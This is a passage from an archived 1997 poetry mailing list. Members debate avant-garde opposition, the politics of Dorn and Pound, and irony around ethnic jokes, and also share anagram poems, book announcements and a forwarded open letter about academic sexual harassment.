made out to be. if youll grant that a lot of
writers seem to have abandoned this model,
or seem never to have taken it up at all--which
you may not, but it seems to me that they have--.
& that thinking language practice as a political

opposition is one possible gesture among
others, & doesnt somehow become a determining
factor in the strong sense--. because I think youd
be mistaken if you were to assert that opposition
somehow means that were programmatically
writng in response to, or that anyones work has
become the determined negative image of,say,
american journalistic prose--. or that "rustling"
your work into the opposition "corral" somehow
deforms its reception--?

nor does it mean necessarily a sort of simplistic
one-to-one opposition between 2 groups
competing for the same resources ["there are
2 kinds of poems int he world,prose that" or
"this town isnt big enough"]etc. --shirts versus
skins?

obviously OPPOSITION is one possible line
of thought among others--one that I find useful--
but not *the* meaning etc.-- &not necessarily
such a restricted relation after all. so "not the
hegelian I used to be"--already smoked my last
pack of Absolute Spirit. of course whether or not
resistance is a useful view of swich or a poltical
reality ["tell me again of how your poetics resists
the naturalizing ideology of the new york times?"]--
is another matter.
&whether *you*find it useful to think wrtg
in thse terms--.

but the problem with "elsewhere" is that its
still somewhere--ie, just as firmly ensconced in
the social field as any other practice. ok, so
opposition is problematic, or needs to be
troubled--I can see that. but there is no
just elsewhere--another binary, one with an
occluded second term, doesnt seem to help.
"climb on, the avant-garde is a-leavin" sounds
like playing kant to david kelloggs bourdieu.

> maps are for
> claiming resources and for sittling arbitrartions, charts are for
> malapractice -- the crisis goes deeper, lads, and the initials are

> everywhere .. wussy hegel glottal simpatico, contra dante sounds ..
> and maybe he's just the Poetry Chicken .. a lot'll .. geese .. a
> shady .. to get into the narrative --
maps dont just s[imply a battle plan--raiding the
other tribes magic resources or flour. ["godoggo"].
an attempt to visualize the field of amerwrtg is just
what Id expect from the amercan left (this is not
a criticism)--which, among other things, tries to
piece together why it is exactly that something like
commodity capitalism (or in this case "the
bourgeois novel of the last century") persists.

but, yes clearly a sort of battle, though
in any case not just synonyous with complaints
of "clubbiness" or the its-who-you-know/
how-you-work atmosphere of a united nation's
arts councils or so-called mainstream publishing--
which is I think we can agree, just another stream,
if one that has accumulated considerably more
capital ["jeez its even gotten in the water here"]
--& so greater public visibility & influence in
determining what it means to make art, what forms
of expression are acceptable etc.--which, like it or
not, is political. to me, the presses that publish the
only writrs whose wrk Im really interested in--with
a few exceptions--, coupled with the copy shops &
internet servers where those wrters publish their
own work--seem ample, if in the accustomed
financially jeopardized sort of way. so reducing
the model to maps for claiming resources or sitting
arbitrations--kissinger & stalin passing napkins
about book sales or something--is, well, reductive.
not simply engaging in a turf ware ["wherefore"]
or just sour over somebodys grant applications--.

I dont think about this stuff because I love it or
because I think I ought to make The Big Money
on bonuses from dalton or departmental grants.
I dont have any particular longing to visit school
children or read to the 6 people present at 7:00 pm
at the Midville town hall arts center. Im a computer
systems consultant at the underfunded library of an
underfunded state university & I dont have any

books out that I havent put out & I dont really care.
but I would like to see more of the books that I like
to read on the shelves of that library or in local
bookstores--& not just for my convenience.

now whether I can still qualify for "hegemonic boomer"
status--? boom-boom-boom. well meet sometime &
you can give me a button or something. [smile].

love me, Love My Carpet,
chris, or ["whatever
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

↑ Index

645. Aldon L. Nielsen
Re: Irony?
Thu 20 Feb 1997

I'll begin by copping to the missssspeeeling, which therefore should not have appeard in quotation marks -- apologies at all times for all my typing --

on the other hand,

A post that begins by making reference to the possibole holier than thouness of myself and certain of my friends, and ends by telling me to go lecture my students, is an odd place to find the advice that archness is unbecoming --

Of course context makes a difference -- never said it didn't -- the Dickinson quote appeared in a post that made a quite clear distinction between letters and poetry and which proceeded to ask questions about possible learning that might occur in the discussion of both --

I will not get into arguments about whose neighborhood is more multiethnic than etc -- I never said that I didn't know anybody at all who uses racist terms -- I said that I know quite a few people who do not -- The people I have in mind would certainly be surprised to hear it suggested that they censor themselves out of fear of my reaction --

Glad to hear you worked with Bayard Rustin -- Rustin was himself the object of both villification and humor on the subject of his sexuality -- I suspect he had a

pretty clear sense of when he was being insulted and when he was being joshed -- I suspect -- I don't know --

I do know that this discussion keeps turning away from things I have said into discussions of positions that I have never taken --

I will be happy to continue on this subject off the list with anyone who wishes to take the issues up with me --

I will not have anything more to say in the near future in response to anything growing out of the Dorn discussion in this space, as I think people who have read my posts attentively know where I stand -- and I suspect that others simply do not care --

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646. **Aldon L. Nielsen**
Re: XUL
Thu 20 Feb 1997

On a happier note -- a reminder that Roof books has published _The XUL Reader: An Anthology of Argentine Poetry (1981-1996)_ eidted by Jorge Santiago Perednik and Ernesto Livon Grosman: bi-lingual

14.95 ISBN 0-937804-67-3

looks like good stuff

↑ Index

647. **Christopher Alexander**
Re: this is not a message
Thu 20 Feb 1997

---

n'est pas

ness past
mas parse
mis-paste

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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648. **Schuchat Simon**
Re: stein query
Thu 20 Feb 1997

I don't know about some recent academic furor over Stein's politics and/or support of Vichy government, but having read WARS I HAVE SEEN not too long ago, I don't find any "support" for Vichy, although there is a great deal of having to get along and live with it, and some sympathy for those who had to play active roles in order to keep life moving along (e.g., stationmasters for the railroad) etc. there is much more pride in the doings of the "boys in the mountains" that is, the maquis. and of course tremendous pride in being liberated by the u.s. army.

↑ Index

649. **Maria Damon**
Re: Irony?
Thu 20 Feb 1997

At 3:05 PM -0800 2/20/97, Mark Weiss wrote:
>At 08:47 AM 2/20/97 -0800, you wrote:
>>Actually, I know quite a few people who never use racist terms --
>
>Well, Aldon, I guess that makes thou and thine holier than I and mine. In
>the multiethnic neighborhoods I have always inhabited we have never been
>quite so pure. We all told and tell ethnic jokes, play with "foreign" words
>and accents, call friends of other persuasions and origins by names that
>would get an LA cop in trouble....
>Go lecture your students.

yikes. is all i can say. mark, how come u have a bee in yr bonnet abt this? seems to me that, has someone touched a nerve? i've felt preached at on the list, but i didn't detect it in this go-round. very interesting medium, this. xo, md

↑ Index

650. **DS**
Re: this is not a message
Thu 20 Feb 1997

---

ah merd, je suis un poisson

dan salmon

At 05:52 PM 2/20/97 -0500, you wrote:
>

```
>       /////____
>      / @|   / \\
>      \_ |\\-
>
```
>ceci n'est pas un poisson and in any case it was private and not for you.
>
>Gwyn
>
>

↑ Index

651. **DS**
Re: Irony?
Thu 20 Feb 1997

> *racists. Or maybe context matters and sometimes informs political correctness. Your friends, in fact, may be hypercareful around you, lest they be judged. But if you guys really are that pure, I think I'd rather hang around my own streetcorner. We may be nasty, but we do have fun.*

out here in antipodes we make our friday night fun stringin' up seppos.

↑ Index

652. **Maria Damon**
Re: this is not a message
Thu 20 Feb 1997

At 4:56 PM +1300 2/21/97, DS wrote:
>ah merd, je suis un poisson
>
>dan salmon
>
>At 05:52 PM 2/20/97 -0500, you wrote:
>>
```
>>       /////____
>>      / @|   / \\
>>      \_ |\\-
```
>>
>>ceci n'est pas un poisson and in any case it was private and not for you.
>>
>>Gwyn
>>
dans la grande poeme de la mer je suis un mousse ivre

↑ Index

653. **Mark Weiss**
Re: Irony?
Thu 20 Feb 1997

---

what's a seppo?
At 04:59 PM 2/21/97 +1300, you wrote:
>>racists. Or maybe context matters and sometimes informs political
>>correctness. Your friends, in fact, may be hypercareful around you, lest
>>they be judged. But if you guys really are that pure, I think I'd rather
>>hang around my own streetcorner. We may be nasty, but we do have fun.
>
>out here in antipodes we make our friday night fun stringin' up seppos.
>
>

↑ Index

654. **Mark Roberts**
Re: Irony?
Fri 21 Feb 1997

I thought it was see you round like Australia Square

>Hi -
>A septic tank - a Yank
>
>It comes from being colonised by the English...you know
>a titfer is really a hat ....Tit for Tat - A hat
>
>Weird isn't it
>
>See you round like a rissole
>Pam BrownAt 08:19 PM 20/2/97 -0800, you wrote:
>>what's a seppo?
>>At 04:59 PM 2/21/97 +1300, you wrote:
>>>>racists. Or maybe context matters and sometimes informs political
>>>>correctness. Your friends, in fact, may be hypercareful around you, lest
>>>>they be judged. But if you guys really are that pure, I think I'd rather
>>>>hang around my own streetcorner. We may be nasty, but we do have fun.
>>>
>>>out here in antipodes we make our friday night fun stringin' up seppos.
>>>

>>>
>>
>>
>
>
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Phone 93517710
Mobile 015063970
Fax (02) 9351 7711

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655. **Pam Brown**
Re: Irony?
Fri 21 Feb 1997

Hi -
A septic tank - a Yank

It comes from being colonised by the English...you know
a titfer is really a hat ....Tit for Tat - A hat

Weird isn't it

See you round like a rissole
Pam BrownAt 08:19 PM 20/2/97 -0800, you wrote:
>what's a seppo?
>At 04:59 PM 2/21/97 +1300, you wrote:
>>>racists. Or maybe context matters and sometimes informs political
>>>correctness. Your friends, in fact, may be hypercareful around you, lest
>>>they be judged. But if you guys really are that pure, I think I'd rather
>>>hang around my own streetcorner. We may be nasty, but we do have fun.
>>
>>out here in antipodes we make our friday night fun stringin' up seppos.
>>
>>
>
>

↑ Index

656. **Mark Weiss**
Re: Irony?
Fri 21 Feb 1997

I think I need subtitles.

At 04:37 PM 2/21/97 +1100, you wrote:
>I thought it was see you round like Australia Square
>
>
>
>
>
>>Hi -
>>A septic tank - a Yank
>>
>>It comes from being colonised by the English...you know
>>a titfer is really a hat ....Tit for Tat - A hat
>>
>>Weird isn't it
>>
>>See you round like a rissole
>>Pam BrownAt 08:19 PM 20/2/97 -0800, you wrote:
>>>what's a seppo?
>>>At 04:59 PM 2/21/97 +1300, you wrote:
>>>>>racists. Or maybe context matters and sometimes informs political
>>>>>correctness. Your friends, in fact, may be hypercareful around you, lest
>>>>>they be judged. But if you guys really are that pure, I think I'd rather
>>>>>hang around my own streetcorner. We may be nasty, but we do have fun.
>>>>
>>>>out here in antipodes we make our friday night fun stringin' up seppos.
>>>>
>>>>
>>>
>>>
>>
>>
>Mark Roberts
>Student Systems Project Officer
>& User Representative SIS Team.
>Information Systems
>University of Sydney NSW 2006 Australia

>Phone 93517710
>Mobile 015063970
>Fax (02) 9351 7711
>
>

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657. **David Israel**
well said, TR, well said
Fri 21 Feb 1997

Randolph --

having pored over Thursday's Poetics digest (& in consideration of some days now, seems, of these PC-tinged Dorn et al. debates & declaratives), must say your take on this'all seems among the keenest I've seen: w/ dynamic balance, apt breadth, & an unstingy insight that extends in all directions. A Poetics list-serv newbie here, your observations seem worth remembering.

d.i.

> *Date: Thu, 20 Feb 1997 19:39:47 GMT*
> *From: "L. Mac Mahon and T.R. Healy" <[redacted]>*
> *Subject: evil poets*
>
> *Hard to make any judgement stick when a tonal change is enough to put a safe distance between us and our statements, never mind appeals to indeterminism, group myopia or even (gasp) growth. . . .[etc.]*

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658. **John Cayley**
(no subject)
Fri 21 Feb 1997

New from: i n f e r n a l m e t h o d s

GREETING WANT
by
John Welch

ISBN 0 905795 08 3 96 pages Price GBP 6.95

Royal Octavo Cover design by Amanda Welch

Greeting Want comprises a group of sequences written over the last eight years or so. Some of the poems, while not making direct reference to it, reflect the poet's experience of psychoanalysis; he contributed a chapter 'Dream and

Restoration,' to Poets on Writing, Britain 1970-1991, edited by Denise Riley (Macmillan, 1992).

Greeting Want offers lucid, gentle, remorseless sequences to remind us of the 'plenty-in-absence' that may live at the edge of the inner city. These are talking poems, not solitary or rapt, and they have spent their time among people: the fantastic, dislocated heroism of migrant children, or the torsion of passing from a domestic house into the traffic of streets, an area where 'stone is ground down to a dusty meal of light'. Only a very fine poet could wonder about his distance from the small heart of an owl, calling in the city. Our present is where we start from in this writing, while there is also the brush of bird-flight, occasional goddesses bearing the work of a past and the horror of 'careful solitudes'. But the mystery of incorporating others may overcome this undertow as we 'take the bright couple into us' through the exact reflection of John Welch's true poetry.

John Welch has been a significant figure since the early seventies, and deserves acclaim. His own aptly named Many Press has published numerous well-designed pamphlets... For my money, Out Walking is the finest volume Anvil have produced. - James Keery, PN Review.

John Welch's first full-length collection, Out Walking, is a considerable and consistent achievement. The poems abound with intelligent reflection... - Rob Sheppard: PN Review

With Out Walking, John Welch has well and truly set off,
and I look forward to following his path as far as wherever it reaches.
- Peter Robinson: Grosseteste Review

Blood and Dreams offers unlimited shelf-life, is flexible enough to continue
to 'give' with repeated readings. As a writer I seek those books which
provoke reverie and
inspire further writing; this is just such a book.
- Martin Hibbert: Memes

Born in London 1942, where he now lives and works, John Welch has published three full-length collections of poems: And Ada Ann (Great Works Press, 1978), Out Walking (Anvil 1984) and Blood and Dreams (Reality Street Editions, 1991).

John Welch founded The Many Press in 1975, an imprint publishing new poetry. He has written widely on South Asian Literature and edited an anthology Stories from South Asia (Oxford University Press 1988).

Also available from infernal methods

R. F. Langley, Twelve Poems ISBN 0 905795 03 2

Peter Riley has described reading Langley's poem 'The Upshot': "These are no longer 'his' moments; they can enter a different life because they are not trapped in circumstance. The craft of their forming, the traditional poetic skills of constantly accurate comparison, lift them out of the particular in their very fidelity to it, and we take them on as unrecognised instances. It is our job to find them a home."

There are two extensive interviews with R.F.Langley by Bobby Walker in Angel Exhaust 13 and 14. Langley's poetry was included in Michael Schmidt's 'Calendar of Modern Poetry' for PN Review 100.

Previous publications from infernal methods include A Different Mercy by Mark Hyatt (now out of print).

Order Form

Name .
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Please send me copy / copies of Greeting Want by John Welch at GBP 6.95, and copy /copies of Twelve Poems by R.F.Langley at GBP 4.00 per copy (UK post and packing included, please add GBP 1.00 for post abroad).

I enclose remittance of .

Please make cheques etc payable to Nigel Wheale.

infernal methods 64 Sturton Street, Cambridge CB1 2QA

S P E C I A L O F F E R

Greeting Want by John Welch, published by infernal methods, is a large format (Royal Octavo) 96 page collection of poems priced at GBP 6.95..... ordered direct from John Welch before the end of March it costs GBP 5.00, plus 50p p&p.

Note: Greeting Want is available with the cover either laminated (i.e. shiny) or unlaminated. Some people prefer the unlaminated cover - please indicate below which you would like.

Please send me copy / copies of Greeting Want at the special price of GBP 5.50 (UK p&p included, please add GBP 1.00 for post abroad).

Laminated .

Unlaminated .

I enclose a cheque for .

Cheques etc for this offer should be made out to John Welch and orders sent to 15 Norcott Road, London N16 7BJ

Name .
Address

.

.

.

↑ Index

659. **Miekal And**
recuperating pound
Fri 21 Feb 1997

since my own interests in literature are so often extra-literary or schizo-literary I havent had much impulse to step into the turbulence of the text the past few days...tho now I will remark that there is a remarkable kaleidescope of out-speakings, I am heartened that T Mandel felt this space secure enough to make his announcements (tho my own affectations are perhaps opposite) & once again I observe the epikal strength with which opinions wrangle theories & hope that that energy & strength is equally transfered to the books you make & the readings you do & the classes you teach....

from the permaculture perspective, everything gardens, the most abundant the most diverse systems are those composed of unlimited edges meeting, for instance the genetic diverisity of a pond meeting a woods is often more complex.

somehow in a group discussion as this, it comes so easily to stand above & scrutinize from a safe vantage point ... while the real provocation to write & read is multitudinously closer to the behavior of the text in a paradigm that morphs as we speak.

Now is Pound's anti-semitism any greater than the farmer that lives down the road. I doubt it. & he is my neighbor & his family has lived here for 6 generations, they belong here on this land regardless of their empty & unexamined mental life. & Cantos is on my bookshelf, next to the collected works of Gertude Stein, as is Gunslinger on the same shelf as the Dictionary of Aberrant Behavior.

as Malok says,

"I'll shut up now."

Miekal
--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
The Internalational Dictionary of Neologisms:
http://net22.com/neologisms
e-mail for DT & And/Was: [redacted]

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660. **Douglas Barbour**
Re: Dorn & Dickinson et al
Fri 21 Feb 1997

It's all been fascinating, not least the new poems by D & Y. I'm a serious sort & cant reply in kind, but not having heard about Dorn's comments I was saddened to. Yet, I had picked up his _Abhorrences_ because of my admiration for the poetry (knowing nothing of the man) of his earlier books, & found it a great disappointment. So obvious, so lacking in the poetic subtleties of his best writing. So: does this 'falling off" (in my eyes) in the writing reflect a sad change in the man's ideological/emotional stance? I dont know. I do know that Jerome Rothenberg captured what seems to me to be the major point about Pound: that the formal qualities of the writing were a teaching I had to have, even though I knew how evil some of the man's ideas were. Perhaps we always have to approach artists with a certain schizophrenia?

Thinking of that comment of Dickinson's I also think of Susan Howe's visionary reading of her & her work 'in' the context of the whole puritanical violence of american 'settlement' & how it has never disappeared nor been comprehended. Then her (D's) ironies abound... But must also as Aldon Nielson says, they must be interrogated, that means 'read' with as great insight & care as we can bring to them...

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

Shakespeare
drag yr mouldy old bones
up these stairs & tell me
what you died of
I think
I've got it

too.
Sharon Thesen

↑ Index

661. **Jordan Davis**
Third term (const amend)
Fri 21 Feb 1997

Chris -- I like your post, and I disagree. There are no commercial, few civic, and fewer and fewer aesthetic points of divergence between the two campsites, which, as the wardens in both are clever and vigilant, should be around for at least another half decade. The resources that are allocated by these maps are not bucks, they're attention-hours. There is an audience; arguing about its existence is insulting (not saying you did -- just countering a wearying and often remark). The audience prefers that I use no terrain metaphors. Don Allen's amazing anthology transformed American poetry. It offered an entirely new (yet pleasantly available) set of ways to look at words, at social town, at sexual life, at the universe. I'm thinking, of course, of the Collected Poems of Frank O'Hara. -- Jordan

↑ Index

662. **Matthias Regan**
Re: this is still not a message
Fri 21 Feb 1997

Now, this is brilliant (but in a postmodern way?)-
M.

At 06:25 PM 2/20/97 MDT, christopher alexander, etc. wrote:

> *n'est pas*
>
> *ness past*
> *mas parse*
> *mis-paste*

↑ Index

663. **Christopher Alexander**
Re: this is still not a message
Fri 21 Feb 1997

> Now, this is brilliant (but in a postmodern way?)-
now christmas brillig (bettin a proust modem weight)
snowcrest miss bullet (patina russ malden wight)

oh crust mersed billet (a tinniest walden might)
accurst mess buildin (attend rewest aldon meet)
a cast mis-gilded (intend true west all done mate)
ark hast mouse guilded (a tenure vestal dorn met)
arkham house guiled (tenuate vest doormat)
cram us guilty (tential a cormorant)
cramer salty (tent shell a current)
cremora sody (to show occurrent)
gomorrhas day (tissue oscura)
deborahs prey (issue a score)
deformat prose (is to astor)
deformed prosody (astir)
d for pense d (asr)
defenced (sr)
deafens

amercan bandstan
capstan
chris

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

↑ Index

664. Christopher Alexander
Re: this is still not a message
Fri 21 Feb 1997

> Yeah Chris, but you just know that web-site for anagrams, right? I mean,
> you don't want us to think you did all this YOUR(post-modern)SELF, right?
I wont nothing of the kind, of course.
now where is that web site?
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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665. **Joe Safdie**

Re: this is still not a message

Fri 21 Feb 1997

Yeah Chris, but you just know that web-site for anagrams, right? I mean, you don't want us to think you did all this YOUR(post-modern)SELF, right?

On Fri, 21 Feb 1997, Christopher Alexander wrote:

> *Now, this is brilliant (but in a postmodern way?)-*
> *now christmas brillig (bettin a proust modem weight)*
> *snowcrest miss bullet (patina russ malden wight)*
> *oh crust mersed billet (a tinniest walden might)*
> *accurst mess buildin (attend rewest aldon meet)*
> *a cast mis-gilded (intend true west all done mate)*
> *ark hast mouse guilded (a tenure vestal dorn met)*
> *arkham house guiled (tenuate vest doormat)*
> *cram us guilty (tential a cormorant)*
> *cramer salty (tent shell a current)*
> *cremora sody (to show occurrent)*
> *gomorrhas day (tissue oscura)*
> *deborahs prey (issue a score)*
> *deformat prose (is to astor)*
> *deformed prosody (astir)*
> *d for pense d (asr)*
> *defenced (sr)*
> *deafens*
>
> *amercan bandstan*
> *capstan*
> *chris*
>
> *..*
> *christopher alexander, etc.*
> *[redacted]..lib.edu*
> *(Marriott Library Computer Systems)*
>
> *language code not found. illegal operation error.*
> *this program will shut down, & all unsaved data will be*
> *lost. if problem persists, consult your systems operator.*

↑ Index

666. **Bob Perelman**
spell check and ethics check
Fri 21 Feb 1997

Re Christine Lorenz' suggestion to share spellcheck residues: "Holes in the Argument" in *Face Value* was actually built around such a list, at least I think so. I came across some unknown file in my poems-file with all those words, semi-alphabetized: REAGAN'S REAL DISPEL REALM; sense was nearly there: OUR CALLS PROCEED PROFESSIONALISM; NUMBLY O'HARA DESIRE, etc. It couldn't have been a spell check file, with words like 'real' and 'our'?? But it had, as I remember, some designation like WP.SUP??

The Pound, Dorn thread calls up the tensions around naming, name-calling, evaluation, community, groups-cliques-cabals-conspiracies, dismissal, phobia. There's is so much to say that all particulars fray under contradictory generalized forces. I admired Dorn's early work quite a bit: his elegant political lyricism seemed so smart. Now it feels like he got squashed by the demands of masculinization: in the work he read at the Orono conference this summer he read a slinger-redux epic about heroic outsiders--drugs and transportation hijinx; all the characters were dogs, which was a bit funny, and allowed him to talk about bitches & garner some uneasy laughs. But the whole thing was finally pretty broken down: the piece wasn't finished, wasn't really funny enough to justify the conceit.

Poets with large political ambitions seem to have a hard time avoiding stepping in real dreck the last few decades. Is it that (male) poets need to feel they're taking it to the streets in some way or other? (How far away is the gesture Tom makes of bashing Dorn?) Breton writes in the 3rd manifesto that the archetypal surrealist act is running into the street firing a revolver indiscriminantly. (After all, there's nothing but bourgie protofascists out there.) Aren't Baraka's gaybaiting, antisemitic poems more or less as bad as Dorn at his anecdotal worst? Maybe not quite. And doesn't it feel somewhat preposterous the way it comes down to measuring rhetorical atrocity?-- "more or less" despicable.

It makes me think poets are very irritated by being imprisoned, finally, in the aesthetic sphere. In the chapter on Bruce Andrews in *Marginalization* I ask if he means it when he writes "*sink* the boat people!" Of course he doesn't. But he does want that intensity of statement.

Pound is, for me, still the center of this problem. In the chapter on him in *Trouble with Genius* I try to make it clear how impossible it is to separate his politics from the lively avantgarde speed of his disjunctions and juxtapositions. So I don't agree with Charles, in fact, when he differentiates Pound's fascism ("small-minded, penurious political accounting system") from his open textual

style ("utopian"). This isn't something to be clarified in the rapidfire ouija board regime of the listserv, probably.

↑ Index

667. **Mark Weiss**
Re: spell check and ethics check
Fri 21 Feb 1997

Just to be clear, I'm assuming that what you mean by "large political ambitions" is a social agenda motivated by distress at the situation we find ourselves in, as opposed to a desire for public office. Do you think that what you describe is limited to poets? Male poets? Males? Is it possible that these really are tough and demoralizing times for those who believe in some sort--any sort--of equitable society? Are you proposing aesthetic quietism as a proper, even a possible, cure for those of us who continue to be afflicted with savage indignation?

At 03:42 PM 2/21/97 -0500, you wrote:
>Poets with large political ambitions seem to have a hard time avoiding
>stepping in real dreck the last few decades.

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668. **manny savopoulos**
Fw: The Chronicle and Sexual Harrassment (fwd)
Fri 21 Feb 1997

> From: Julie Torrant <[redacted]>
> To: [redacted]
> Subject: The Chronicle and Sexual Harrassment (fwd)
> Date: Friday, February 21, 1997 3:04 PM
>
> ---------- Forwarded message ----------
> Date: Wed, 19 Feb 1997 13:48:27 -0500 (EST)
> From: Jennifer Mitchell <[redacted]>
> To: rtc <[redacted]>, jm6788 <[redacted]>,
> jt3355 <[redacted]>, Deb Kelsh <[redacted]>,
> [redacted], tjn842 <[redacted]>,
> [redacted]
> Subject: The Chronicle and Sexual Harrassment (fwd)
>
>
>
> COLLEAGUES: If you support our critique (below) of the practices of

> The Chronicle of Higher Education as it seeks to suppress open
> debate on the issue of sexual harassment in United States
> universities, please add your name and institutional affiliation
> to a copy of the text and send it to The Chronicle reporter
> who interviewed Jennifer Cotter, the victim of sexual harassment
> by Professor Stephen Dobyns, Syracuse University. (If you would
> like to read the letter Ms. Cotter is circulating regarding this
> issue and which our letter supports and expands upon, please send
> a brief post to either Deb Kelsh at [redacted] or
> JulieTorrant at [redacted].)
>
> The reporter's name is Robin Wilson, and her fax # is [redacted].
>
> Or, you may send it to the following editors and senior writers at
> The Chronicle:
>
> Scott Heller: [redacted];
> Courtney Leatherman: [redacted];
> CorbinGwaltney: [redacted];
> Scott Jaschik: [redacted];
> DeniseMagner: [redacted]
>
>
> Please forward this text to all interested parties.
>
>
> An Open Letter to the Community regarding The Chronicle of Higher
> Education's Suppression of Jennifer Cotter's Analysis of the Sexual
> Harassment committed against her by Stephen Dobyns of Syracuse Univer-
sity
>
> We write in support of Jennifer Cotter's attempts to resist the
> systematic suppression of ("her") analyses aimed at bringing to public
> knowledge and debate the very serious and widespread problem of sexual
> harassment in United States universities.
> We also write to protest the undemocratic practices of The
Chronicle
> of Higher Education and its staff by which it reduces the issue of
sexual
> harassment to a "trivial" one of "personality conflict." In suppressing
> Ms.Cotter's analysis of the systemic character of sexual harassment,
> The Chronicle, in effect if not by design, manufactures consent for the

> status quo of pervasive sexual harassment within the academy.
> Within a formal democracy, consent for exploitative, oppressive
> social structures must continually be produced through various pedagogical
> practices, with pedagogy broadly understood as the habits and practices of
> institutions and their individual members which constitute conditions for
> the production and dissemination of meaning.
>
> It is axiomatic, then, that when Robin Wilson interviews
> Jennifer Cotter and focusses on the details of what happened when Stephen
> Dobyns committed sexual harassment against her, and when Ms. Wilson
> ignores and effectively suppresses efforts by Ms. Cotter to explain her
> understanding of sexual harassment's systemic causes and their
> institutional effects, Ms.Wilson is participating in The Chronicle's
> effort to manufacture a reading of sexual harassment as an "accident" or
> "quirky effect" of Dobyns's "individual" constitution which, given his
> "creativity" and the PLEASURE it gives "us all," we had best simply
> forgive and accept--for the common good!
> This reading, as Cotter notes, leaves sexual harassment and its
> systemic causes untouched, and prepares a homecoming for Dobyns by
> excusing him and relaxing pressure on Syracuse to confront both the
> incident as systemic violence as well as its own failure to follow
> through on its own sanctions against him.
> But it also serves the interests of the University-as-Industry,
> that is, the university as one site for manufacturing consent that serves
> business interests and reaps benefits from doing so. The reading
> produced by Wilson and The Chronicle manufactures consent for Syracuse
> University's tolerance of sexual harassment. This effectively legitimates
> the manufacturing of consent necessary to other universities if, for
> example, they are to hire celebrities who will attract students and
> funding and lend the particular university an "exciting" "aura."
> "Celebrity" is an effect of the privatized, "personal spin" "creative"
> stars put on socially and systemically structured phenomena.
> Privatization of socially structured phenomena, however, is an act of
> commodification that must be made to disappear, since the visibility of
> this process would not only reveal the particular form of "celebrity
> creativity" privileged on many campuses to be an effect of the
> privatization of meaning made possible by public university funds. It
> would also reveal the university star system in general as complicit with
> those very (socially produced) structures of violence that condition the

> occurrence of sexual harassment as systemic. The manufacturing of consent
> for Syracuse University's acceptance of Dobyns achieves just such a
> magical effect. By making celebrity and university involvement in
> corporate welfare disappear, a gap between the university and business is
> produced. This gap-- produced by various tactics at different
> universities that work in concert with a variety of legitimizing
> mechanisms--is nevertheless what allows universities to maintain a posture
> of freedom from business and establishment interests, in turn allowing
> universities to pull in lots of money, apparently on the basis of their
> own and their celebrities' "merit" rather than structural violence. In
> its turn, business benefits from the resulting emphasis that reinstates
> and naturalizes meritocracy and masks the interests of the capitalist class.
> To produce and disseminate readings which manufacture the
> appearance of such a gap is to aid in the masking of structural violence
> and prevent transformation of its conditions of possibility. In
> other words, to produce and disseminate the reading of sexual harassment
> as an effect of a "quirk" in an otherwise "valuable" individual
> is to participate in the pedagogy of profiteering. This pedagogy works to
> contain issues rather than open them to public debate, analysis and
> critique. In doing so, it serves only the establishment segment of
> the community.
> It is, to our minds, astounding that The Chronicle staff thinks
> the profit motive behind their work is invisible, not only given the
> general understanding of pedagogy in the broad sense we have put forth,
> but also the U.S. Army's and Navy's comparatively rigorous confrontation
> of their institutional structures of violence against women. It is an
> indication of The Chronicle's massive, establishment interest in
> containing this issue (rather than opening it to debate and analysis)
> that produces a rather pointed irony: The Chronicle of HIGHER EDUCATION--
> supposedly highly democratic in method and aim--is suppressing systemic
> analysis and collective response to sexual harassment while the presumably
> authoritarian Army and Navy open up to the demand to redress
> such patterns. The Chronicle's habits and practices, in short,
> effectively work to position the Army and Navy--NOT HIGHER EDUCATION--as
> the VANGUARD in redressing sexual harassment!
> In the face of such strenuous effort on the part of The

> Chronicle to whitewash critical connections between academia and business,
> we need to ask: Is The Chronicle interested in shutting the door on a
> potentially explosive issue, effectively rehabilitating male-dominated
> education? That is, is there a sense that Ms. Cotter could be the
> Anita Hill of academia? Cotter's systemic analysis of the social function
> of harassment is an explicit call to other victims of harassment to press
> charges, and to academic institutions to expose and redress such charges.
> By attempting to sever Cotter's "personal story" from the systemic
> analysis of harassment which she forwards, The Chronicle works to suppress
> the potential of this case to encourage other victims of harassment in
> the academy and their supporters. There has been a widely-reported
> increase in formal charges of sexual harassment following Anita Hill's
> Congressional testimony. Does the weakening of Cotter's argument by The
> Chronicle's practices serve to contain such a response within the academy?
> We see the opportunities this case presents rather differently.
> This case is an opportunity for critical reflection and collective
> resolve to intervene in the patterns which enable sexual harassment and
> all other kinds of abuse. We urge The Chronicle to publish debates and
> analyses of sexual harassment and all issues of oppression within
> academia, rather than reports which manufacture consent for containing the
> contradictions between our myth of equality and individual freedom and
> the realities of complex social patterns of oppression. That is, we call
> for The Chronicle to publish debates and analyses that enable the
> understanding of the relationships among many "interpersonal" cases in
> terms of TRANSPERSONAL patterns of oppression, so that The Chronicle
> serves not just the few, but ALL members of the community.
>
>
> The Red Theory Collective
> (U at Albany, NY)
>
>
> Deb Kelsh
> Laura Lane
> Jennifer Mitchell
> Tom Nespeco

> Julie Torrant
> Rob Wilkie

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669. **Gwyn McVay**
Re: spell check and ethics check
Fri 21 Feb 1997

Mark, it doesn't "sound" to this "observer" as if Bob Perelman were prescribing anything for poets, male or otherwise, with "large political ambitions"--rather observing a trend in some of them, over the course of their careers. There are probably tons of counterexamples that the mind doesn't notice first because they aren't as flashy to think of as a poet who *does* get embroiled in controversy.

Bests
Gwyn

↑ Index

670. **Mark Weiss**
Re: spell check and ethics check
Fri 21 Feb 1997

Cold be. I seem to be in an intemperate place.

At 04:47 PM 2/21/97 -0500, you wrote:
